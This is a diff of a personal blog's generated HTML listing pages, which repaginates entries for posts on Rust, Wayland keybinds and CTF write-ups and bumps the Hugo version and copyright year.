<a class=post-link aria-label="I Solemnly Swear to Never Buy a Gaming Laptop Again" href=https://lavafroth.is-a.dev/post/i-solemnly-swear-to-never-buy-a-gaming-laptop-again/></a></article><article><a aria-label="Modeling More Realistic Keybinds With Modifiers" href=https://lavafroth.is-a.dev/post/modeling-more-realistic-keybinds-with-modifiers/><h2>Modeling More Realistic Keybinds With Modifiers</h2></a><time>Jun 5, 2024 | 4 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/ebnf class=list-tag>EBNF</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/google-summer-of-code class=list-tag>Google Summer of Code</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/rust class=list-tag>Rust</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/swhkd class=list-tag>SWHKD</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/waycrate class=list-tag>Waycrate</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/wayland class=list-tag>Wayland</a>
|
||||
<a class=post-link aria-label="Modeling More Realistic Keybinds With Modifiers" href=https://lavafroth.is-a.dev/post/modeling-more-realistic-keybinds-with-modifiers/></a></article><nav data-main><a href=../../>Previous Page</a>
|
||||
<a href=../../page/3/>Next Page</a></nav><script>window.addEventListener("DOMContentLoaded",e=>{new PagefindUI({element:"search"})})</script></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
<a class=post-link aria-label="I Solemnly Swear to Never Buy a Gaming Laptop Again" href=https://lavafroth.is-a.dev/post/i-solemnly-swear-to-never-buy-a-gaming-laptop-again/></a></article><nav data-main><a href=../../>Previous Page</a>
|
||||
<a href=../../page/3/>Next Page</a></nav><script>window.addEventListener("DOMContentLoaded",e=>{new PagefindUI({element:"search"})})</script></main><footer class=footer><p>© 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
@@ -1,4 +1,10 @@
|
||||
<!doctype html><html lang=en-us><head><meta name=generator content="Hugo 0.152.2"><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>lavafroth</title><meta name=description content='smol creator'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png><link rel=alternate type=application/rss+xml href=https://lavafroth.is-a.dev/index.xml title=lavafroth></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><link href=../../pagefind/pagefind-ui.css rel=stylesheet><script src=../../pagefind/pagefind-ui.js type=text/javascript></script><search></search><section class=post-content></section><article><a aria-label="Edge cases? You Shall Not Pass!" href=https://lavafroth.is-a.dev/post/edge-cases-you-shall-not-pass/><h2>Edge cases? You Shall Not Pass!</h2></a><time>Jun 3, 2024 | 4 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/ebnf class=list-tag>EBNF</a>
|
||||
<!doctype html><html lang=en-us><head><meta name=generator content="Hugo 0.154.0"><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>lavafroth</title><meta name=description content='smol creator'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png><link rel=alternate type=application/rss+xml href=https://lavafroth.is-a.dev/index.xml title=lavafroth></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><link href=../../pagefind/pagefind-ui.css rel=stylesheet><script src=../../pagefind/pagefind-ui.js type=text/javascript></script><search></search><section class=post-content></section><article><a aria-label="Modeling More Realistic Keybinds With Modifiers" href=https://lavafroth.is-a.dev/post/modeling-more-realistic-keybinds-with-modifiers/><h2>Modeling More Realistic Keybinds With Modifiers</h2></a><time>Jun 5, 2024 | 4 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/ebnf class=list-tag>EBNF</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/google-summer-of-code class=list-tag>Google Summer of Code</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/rust class=list-tag>Rust</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/swhkd class=list-tag>SWHKD</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/waycrate class=list-tag>Waycrate</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/wayland class=list-tag>Wayland</a>
|
||||
<a class=post-link aria-label="Modeling More Realistic Keybinds With Modifiers" href=https://lavafroth.is-a.dev/post/modeling-more-realistic-keybinds-with-modifiers/></a></article><article><a aria-label="Edge cases? You Shall Not Pass!" href=https://lavafroth.is-a.dev/post/edge-cases-you-shall-not-pass/><h2>Edge cases? You Shall Not Pass!</h2></a><time>Jun 3, 2024 | 4 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/ebnf class=list-tag>EBNF</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/google-summer-of-code class=list-tag>Google Summer of Code</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/rust class=list-tag>Rust</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/swhkd class=list-tag>SWHKD</a>
|
||||
@@ -48,8 +54,5 @@
|
||||
<a class=post-link aria-label="Kringlecon 2023 Writeup" href=https://lavafroth.is-a.dev/post/kringlecon-2023-writeup/></a></article><article><a aria-label="Abstracting Structured Patterns in Concurrent Programming" href=https://lavafroth.is-a.dev/post/abstracting-structured-patterns-in-concurrent-programming/><h2>Abstracting Structured Patterns in Concurrent Programming</h2></a><time>Dec 6, 2023 | 6 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/meta class=list-tag>Meta</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/concurrency class=list-tag>Concurrency</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/rust class=list-tag>Rust</a>
|
||||
<a class=post-link aria-label="Abstracting Structured Patterns in Concurrent Programming" href=https://lavafroth.is-a.dev/post/abstracting-structured-patterns-in-concurrent-programming/></a></article><article><a aria-label=Headache href=https://lavafroth.is-a.dev/post/headache-reverse-engineering-amateursctf-2023/><h2>Headache</h2></a><time>Sep 7, 2023 | 3 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/amateursctf class=list-tag>AmateursCTF</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/ctf class=list-tag>CTF</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/reverse-engineering class=list-tag>Reverse Engineering</a>
|
||||
<a class=post-link aria-label=Headache href=https://lavafroth.is-a.dev/post/headache-reverse-engineering-amateursctf-2023/></a></article><nav data-main><a href=../../page/2/>Previous Page</a>
|
||||
<a href=../../page/4/>Next Page</a></nav><script>window.addEventListener("DOMContentLoaded",e=>{new PagefindUI({element:"search"})})</script></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
<a class=post-link aria-label="Abstracting Structured Patterns in Concurrent Programming" href=https://lavafroth.is-a.dev/post/abstracting-structured-patterns-in-concurrent-programming/></a></article><nav data-main><a href=../../page/2/>Previous Page</a>
|
||||
<a href=../../page/4/>Next Page</a></nav><script>window.addEventListener("DOMContentLoaded",e=>{new PagefindUI({element:"search"})})</script></main><footer class=footer><p>© 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
@@ -1,4 +1,7 @@
|
||||
<!doctype html><html lang=en-us><head><meta name=generator content="Hugo 0.152.2"><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>lavafroth</title><meta name=description content='smol creator'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png><link rel=alternate type=application/rss+xml href=https://lavafroth.is-a.dev/index.xml title=lavafroth></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><link href=../../pagefind/pagefind-ui.css rel=stylesheet><script src=../../pagefind/pagefind-ui.js type=text/javascript></script><search></search><section class=post-content></section><article><a aria-label="Compact XOR" href=https://lavafroth.is-a.dev/post/compact-xor-crypto-challenge-amateursctf-2023/><h2>Compact XOR</h2></a><time>Aug 24, 2023 | 2 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/amateursctf class=list-tag>AmateursCTF</a>
|
||||
<!doctype html><html lang=en-us><head><meta name=generator content="Hugo 0.154.0"><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>lavafroth</title><meta name=description content='smol creator'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png><link rel=alternate type=application/rss+xml href=https://lavafroth.is-a.dev/index.xml title=lavafroth></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><link href=../../pagefind/pagefind-ui.css rel=stylesheet><script src=../../pagefind/pagefind-ui.js type=text/javascript></script><search></search><section class=post-content></section><article><a aria-label=Headache href=https://lavafroth.is-a.dev/post/headache-reverse-engineering-amateursctf-2023/><h2>Headache</h2></a><time>Sep 7, 2023 | 3 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/amateursctf class=list-tag>AmateursCTF</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/ctf class=list-tag>CTF</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/reverse-engineering class=list-tag>Reverse Engineering</a>
|
||||
<a class=post-link aria-label=Headache href=https://lavafroth.is-a.dev/post/headache-reverse-engineering-amateursctf-2023/></a></article><article><a aria-label="Compact XOR" href=https://lavafroth.is-a.dev/post/compact-xor-crypto-challenge-amateursctf-2023/><h2>Compact XOR</h2></a><time>Aug 24, 2023 | 2 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/amateursctf class=list-tag>AmateursCTF</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/ctf class=list-tag>CTF</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/cryptography class=list-tag>Cryptography</a>
|
||||
<a class=post-link aria-label="Compact XOR" href=https://lavafroth.is-a.dev/post/compact-xor-crypto-challenge-amateursctf-2023/></a></article><article><a aria-label=Volcano href=https://lavafroth.is-a.dev/post/volcano-reverse-engineering-amateursctf-2023/><h2>Volcano</h2></a><time>Jul 21, 2023 | 13 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/amateursctf class=list-tag>AmateursCTF</a>
|
||||
@@ -40,11 +43,5 @@
|
||||
<a href=https://lavafroth.is-a.dev/tags/reverse-engineering class=list-tag>Reverse Engineering</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/web class=list-tag>Web</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/wireshark class=list-tag>Wireshark</a>
|
||||
<a class=post-link aria-label="Kringlecon 2022 Writeup" href=https://lavafroth.is-a.dev/post/kringlecon-2022-writeup/></a></article><article><a aria-label=Pixelated href=https://lavafroth.is-a.dev/post/picoctf-cryptography-pixelated/><h2>Pixelated</h2></a><time>Nov 22, 2022 | 2 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/cryptography class=list-tag>Cryptography</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/ctf class=list-tag>CTF</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/image-reconstruction class=list-tag>Image Reconstruction</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/picoctf class=list-tag>PicoCTF</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/rust class=list-tag>Rust</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/visual-cryptography class=list-tag>Visual Cryptography</a>
|
||||
<a class=post-link aria-label=Pixelated href=https://lavafroth.is-a.dev/post/picoctf-cryptography-pixelated/></a></article><nav data-main><a href=../../page/3/>Previous Page</a>
|
||||
<a href=../../page/5/>Next Page</a></nav><script>window.addEventListener("DOMContentLoaded",e=>{new PagefindUI({element:"search"})})</script></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
<a class=post-link aria-label="Kringlecon 2022 Writeup" href=https://lavafroth.is-a.dev/post/kringlecon-2022-writeup/></a></article><nav data-main><a href=../../page/3/>Previous Page</a>
|
||||
<a href=../../page/5/>Next Page</a></nav><script>window.addEventListener("DOMContentLoaded",e=>{new PagefindUI({element:"search"})})</script></main><footer class=footer><p>© 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
@@ -1,4 +1,10 @@
|
||||
<!doctype html><html lang=en-us><head><meta name=generator content="Hugo 0.152.2"><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>lavafroth</title><meta name=description content='smol creator'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png><link rel=alternate type=application/rss+xml href=https://lavafroth.is-a.dev/index.xml title=lavafroth></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><link href=../../pagefind/pagefind-ui.css rel=stylesheet><script src=../../pagefind/pagefind-ui.js type=text/javascript></script><search></search><section class=post-content></section><article><a aria-label=Treebox href=https://lavafroth.is-a.dev/post/google-ctf-2022-treebox/><h2>Treebox</h2></a><time>Aug 19, 2022 | 2 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/google-ctf class=list-tag>Google CTF</a>
|
||||
<!doctype html><html lang=en-us><head><meta name=generator content="Hugo 0.154.0"><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>lavafroth</title><meta name=description content='smol creator'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png><link rel=alternate type=application/rss+xml href=https://lavafroth.is-a.dev/index.xml title=lavafroth></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><link href=../../pagefind/pagefind-ui.css rel=stylesheet><script src=../../pagefind/pagefind-ui.js type=text/javascript></script><search></search><section class=post-content></section><article><a aria-label=Pixelated href=https://lavafroth.is-a.dev/post/picoctf-cryptography-pixelated/><h2>Pixelated</h2></a><time>Nov 22, 2022 | 2 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/cryptography class=list-tag>Cryptography</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/ctf class=list-tag>CTF</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/image-reconstruction class=list-tag>Image Reconstruction</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/picoctf class=list-tag>PicoCTF</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/rust class=list-tag>Rust</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/visual-cryptography class=list-tag>Visual Cryptography</a>
|
||||
<a class=post-link aria-label=Pixelated href=https://lavafroth.is-a.dev/post/picoctf-cryptography-pixelated/></a></article><article><a aria-label=Treebox href=https://lavafroth.is-a.dev/post/google-ctf-2022-treebox/><h2>Treebox</h2></a><time>Aug 19, 2022 | 2 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/google-ctf class=list-tag>Google CTF</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/ctf class=list-tag>CTF</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/python class=list-tag>Python</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/ast class=list-tag>AST</a>
|
||||
@@ -35,10 +41,5 @@
|
||||
<a href=https://lavafroth.is-a.dev/tags/forensics class=list-tag>Forensics</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/picoctf class=list-tag>PicoCTF</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/the-sleuth-kit class=list-tag>The Sleuth Kit</a>
|
||||
<a class=post-link aria-label="Operation Oni, Operation Orchid" href=https://lavafroth.is-a.dev/post/picoctf-forensics-operation-oni-operation-orchid/></a></article><article><a aria-label=JAuth href=https://lavafroth.is-a.dev/post/picoctf-web-challenge-jauth/><h2>JAuth</h2></a><time>Feb 22, 2022 | 2 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/authentication-bypass class=list-tag>Authentication Bypass</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/ctf class=list-tag>CTF</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/jwt class=list-tag>JWT</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/picoctf class=list-tag>PicoCTF</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/web class=list-tag>Web</a>
|
||||
<a class=post-link aria-label=JAuth href=https://lavafroth.is-a.dev/post/picoctf-web-challenge-jauth/></a></article><nav data-main><a href=../../page/4/>Previous Page</a>
|
||||
